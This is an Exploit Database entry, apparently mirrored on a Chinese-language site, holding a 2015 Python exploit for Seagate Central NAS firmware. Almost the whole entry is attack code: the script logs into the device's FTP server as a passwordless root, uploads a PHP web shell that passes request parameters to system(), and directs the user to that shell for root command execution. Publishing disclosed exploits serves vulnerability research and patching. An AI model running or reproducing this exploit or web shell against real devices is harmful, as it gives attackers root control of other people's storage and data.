Seagate Central 2014.0410.0026-F – Remote Command Execution

• Exploit Database
• 113 阅读

• 作者： Jeremy Brown
  日期： 2015-06-03
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37184/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72

  #!/usr/bin/python # seagate_ftp_remote_root.py # # Seagate Central Remote Root Exploit # # Jeremy Brown [jbrown3264/gmail] # May 2015 # # -Synopsis- # # Seagate Central by default has a passwordless root account (and no option to change it). # One way to exploit this is to log into it&apos;s ftp server and upload a php shell to the webroot. # From there, we can execute commands with root privileges as lighttpd is also running as root. # # -Fixes- # # Seagate scheduled it&apos;s updates to go live on April 28th, 2015. # # Tested Firmware Version: 2014.0410.0026-F #   import sys from ftplib import FTP   port = 21   php_shell = """ <?php if(isset($_REQUEST[&apos;cmd&apos;])) { $cmd = ($_REQUEST["cmd"]); echo "<pre>$cmd</pre>"; system($cmd); } ?> """   php_shell_filename = "shell.php" seagate_central_webroot = "/cirrus/"   def main(): if(len(sys.argv) < 2): print("Usage: %s <host>" % sys.argv[0]) return   host = sys.argv[1]   try: with open(php_shell_filename, &apos;w&apos;) as file: file.write(php_shell)   except Exception as error: print("Error: %s" % error); return   try: ftp = FTP(host) ftp.login("root") ftp.storbinary("STOR " + seagate_central_webroot + php_shell_filename, open(php_shell_filename, &apos;rb&apos;)) ftp.close()   except Exception as error: print("Error: %s" % error); return   print("Now surf on over to http://%s%s%s for the php root shell" % (host, seagate_central_webroot, php_shell_filename))   return   if __name__ == "__main__": main()